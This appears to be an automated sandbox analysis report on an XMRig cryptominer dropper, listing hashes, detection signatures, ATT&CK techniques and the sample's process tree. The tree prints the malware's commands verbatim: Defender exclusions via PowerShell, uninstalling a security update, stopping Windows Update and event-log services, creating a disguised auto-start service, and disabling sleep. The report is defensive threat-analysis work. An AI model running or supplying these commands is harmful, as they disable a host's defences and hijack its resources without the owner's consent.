xmrig | f1f7dbd211cac3e16a911ad71a790c42d20a2f62711ff8a0918d8bd576cf41e4

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01-07-2024 04:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CriticalFiles/SNInstallerHandler.exe
Size

2.5MB
MD5

962b890f95429f93e9e56f35d3208e59
SHA1

a98559becdf6981f7335666418d5f35eef3bae34
SHA256

2a97972bc0c3af489e1b551b995c198444785d5007930b6d0de8e6d5d025e868
SHA512

e5aff298bd48e1c686ec527d3bf40f0a85e584ab0807c749b862f133171ab38835bfe95ba1d64ec2ece019d7f1fe64dbe5c7fa4685ab614a180fd61070acc8af
SSDEEP

49152:OCC81n43bykG2YFwoFV5LDo25gixiDX5cde4UJkDDtCbPGGG:OCB1sGkG2uwoFbLFeX50LUJkUDGG

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

Processes:

resource	yara_rule
behavioral4/memory/1048-69-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-67-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-66-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-68-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-65-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-63-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-62-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral4/memory/1048-70-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

744 powershell.exe
3000 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 1 IoCs

Processes:

CoinService.exe

pid process

1324 CoinService.exe

pid	process
744	powershell.exe
3000	powershell.exe

pid	process
1324	CoinService.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral4/memory/1048-58-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-59-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-61-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-69-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-67-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-66-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-68-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-65-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-63-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-62-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-60-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-57-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral4/memory/1048-70-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

4224 powercfg.exe
4232 powercfg.exe
3416 powercfg.exe
3892 powercfg.exe
3232 powercfg.exe
5096 powercfg.exe
3804 powercfg.exe
1136 powercfg.exe

pid	process
4224	powercfg.exe
4232	powercfg.exe
3416	powercfg.exe
3892	powercfg.exe
3232	powercfg.exe
5096	powercfg.exe
3804	powercfg.exe
1136	powercfg.exe

Drops file in System32 directory 4 IoCs

Processes:

SNInstallerHandler.exepowershell.exeCoinService.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	SNInstallerHandler.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	CoinService.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

CoinService.exe

description pid process target process

PID 1324 set thread context of 1092 1324 CoinService.exe conhost.exe
PID 1324 set thread context of 1048 1324 CoinService.exe explorer.exe
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4860 sc.exe
2932 sc.exe
4800 sc.exe
3680 sc.exe
4324 sc.exe
1700 sc.exe
2516 sc.exe
2556 sc.exe
3388 sc.exe
3248 sc.exe
4936 sc.exe
996 sc.exe
3436 sc.exe
1816 sc.exe

description	pid	process	target process
PID 1324 set thread context of 1092	1324	CoinService.exe	conhost.exe
PID 1324 set thread context of 1048	1324	CoinService.exe	explorer.exe

pid	process
4860	sc.exe
2932	sc.exe
4800	sc.exe
3680	sc.exe
4324	sc.exe
1700	sc.exe
2516	sc.exe
2556	sc.exe
3388	sc.exe
3248	sc.exe
4936	sc.exe
996	sc.exe
3436	sc.exe
1816	sc.exe

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

SNInstallerHandler.exepowershell.exeCoinService.exepowershell.exeexplorer.exe

pid	process
912	SNInstallerHandler.exe
744	powershell.exe
744	powershell.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
912	SNInstallerHandler.exe
1324	CoinService.exe
3000	powershell.exe
3000	powershell.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1324	CoinService.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe
1048	explorer.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	744	powershell.exe
Token: SeShutdownPrivilege	5096	powercfg.exe
Token: SeCreatePagefilePrivilege	5096	powercfg.exe
Token: SeShutdownPrivilege	3892	powercfg.exe
Token: SeCreatePagefilePrivilege	3892	powercfg.exe
Token: SeShutdownPrivilege	3232	powercfg.exe
Token: SeCreatePagefilePrivilege	3232	powercfg.exe
Token: SeShutdownPrivilege	3416	powercfg.exe
Token: SeCreatePagefilePrivilege	3416	powercfg.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeShutdownPrivilege	1136	powercfg.exe
Token: SeCreatePagefilePrivilege	1136	powercfg.exe
Token: SeShutdownPrivilege	3804	powercfg.exe
Token: SeCreatePagefilePrivilege	3804	powercfg.exe
Token: SeShutdownPrivilege	4224	powercfg.exe
Token: SeCreatePagefilePrivilege	4224	powercfg.exe
Token: SeShutdownPrivilege	4232	powercfg.exe
Token: SeCreatePagefilePrivilege	4232	powercfg.exe
Token: SeLockMemoryPrivilege	1048	explorer.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

cmd.execmd.exeCoinService.exe

description	pid	process	target process
PID 856 wrote to memory of 1208	856	cmd.exe	wusa.exe
PID 856 wrote to memory of 1208	856	cmd.exe	wusa.exe
PID 2044 wrote to memory of 800	2044	cmd.exe	wusa.exe
PID 2044 wrote to memory of 800	2044	cmd.exe	wusa.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1092	1324	CoinService.exe	conhost.exe
PID 1324 wrote to memory of 1048	1324	CoinService.exe	explorer.exe
PID 1324 wrote to memory of 1048	1324	CoinService.exe	explorer.exe
PID 1324 wrote to memory of 1048	1324	CoinService.exe	explorer.exe
PID 1324 wrote to memory of 1048	1324	CoinService.exe	explorer.exe
PID 1324 wrote to memory of 1048	1324	CoinService.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\CriticalFiles\SNInstallerHandler.exe
"C:\Users\Admin\AppData\Local\Temp\CriticalFiles\SNInstallerHandler.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:912

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:1208

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:3248

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:3388

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4860

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:4324

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:996

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5096

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3232

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3892

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3416

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "Microsoft"
2⤵
- Launches sc.exe
PID:4800

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "Microsoft" binpath= "C:\ProgramData\Non-Delete-Critical-files\CoinService.exe" start= "auto"
2⤵
- Launches sc.exe
PID:1700

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
2⤵
- Launches sc.exe
PID:3436

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "Microsoft"
2⤵
- Launches sc.exe
PID:2932

C:\ProgramData\Non-Delete-Critical-files\CoinService.exe
C:\ProgramData\Non-Delete-Critical-files\CoinService.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1324

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:800

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:1816

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:2556

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:4936

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:2516

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:3680

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4232

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4224

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1136

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3804

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:1092

C:\Windows\explorer.exe
explorer.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Non-Delete-Critical-files\CoinService.exe
Filesize
2.5MB

MD5
962b890f95429f93e9e56f35d3208e59

SHA1
a98559becdf6981f7335666418d5f35eef3bae34

SHA256
2a97972bc0c3af489e1b551b995c198444785d5007930b6d0de8e6d5d025e868

SHA512
e5aff298bd48e1c686ec527d3bf40f0a85e584ab0807c749b862f133171ab38835bfe95ba1d64ec2ece019d7f1fe64dbe5c7fa4685ab614a180fd61070acc8af

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5feswt3h.dpd.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/744-0-0x00007FF980EF3000-0x00007FF980EF5000-memory.dmp

Filesize
8KB

Download
memory/744-1-0x0000021CCEBD0000-0x0000021CCEBF2000-memory.dmp

Filesize
136KB

Download
memory/744-11-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

Filesize
10.8MB

Download
memory/744-12-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

Filesize
10.8MB

Download
memory/744-15-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

Filesize
10.8MB

Download
memory/744-16-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

Filesize
10.8MB

Download
memory/1048-64-0x0000000000F00000-0x0000000000F20000-memory.dmp

Filesize
128KB

Download
memory/1048-57-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-70-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-60-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-62-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-63-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-65-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-68-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-66-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-67-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-58-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-59-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-61-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1048-69-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1092-53-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1092-49-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1092-50-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1092-56-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1092-51-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1092-52-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/3000-46-0x000001815C510000-0x000001815C51A000-memory.dmp

Filesize
40KB

Download
memory/3000-41-0x000001815C4E0000-0x000001815C4FC000-memory.dmp

Filesize
112KB

Download
memory/3000-39-0x000001815C2C0000-0x000001815C375000-memory.dmp

Filesize
724KB

Download
memory/3000-42-0x000001815C4C0000-0x000001815C4CA000-memory.dmp

Filesize
40KB

Download
memory/3000-38-0x000001815C2A0000-0x000001815C2BC000-memory.dmp

Filesize
112KB

Download
memory/3000-44-0x000001815C4D0000-0x000001815C4D8000-memory.dmp

Filesize
32KB

Download
memory/3000-45-0x000001815C500000-0x000001815C506000-memory.dmp

Filesize
24KB

Download
memory/3000-43-0x000001815C520000-0x000001815C53A000-memory.dmp

Filesize
104KB

Download
memory/3000-40-0x000001815C290000-0x000001815C29A000-memory.dmp

Filesize
40KB

Download